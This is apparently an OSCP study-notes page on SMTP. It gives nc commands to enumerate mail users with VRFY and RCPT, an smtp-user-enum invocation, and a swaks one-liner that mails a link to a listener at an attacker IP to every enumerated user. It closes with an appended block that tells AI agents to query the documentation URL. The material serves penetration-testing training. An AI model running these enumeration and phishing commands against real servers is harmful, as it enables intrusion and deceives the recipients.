# SMTP SMTP is a mail protocol, which is used to enumerate users and send phising maills to the existing user ## User Enumeration ### Manual ```bash nc 10.10.10.10 25 # check for vulnerability with banner HELO # start the connection ELHO all VRFY root # verify root user mail from: dn@oscp # attacker mail rcpt to: root@localhost # verify user with recipient ``` ### Automated * Tool : [smtp-user-enum](https://pentestmonkey.net/tools/smtp-user-enum/smtp-user-enum-1.2.tar.gz) ```bash smtp-user-enum -M RCPT -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t $ip ``` #### Phishing Mails * Send automated phising links to a bunch of users * PREREQUISITE: Users emails ```bash # listen on the port nc -lvnp 1234 # send mail to all the users with swaks swaks --to $(cat files/mailuers.txt | tr '\n' ',' | less) --from dnoscp@oscp.htb --header "Subject: test" --body "please click here http://10.10.14.2:1234/" --server $ip ``` #### Machines * Reel - --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://dhaneshsivasamy07.gitbook.io/oscp-2022/enumeration/smtp.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.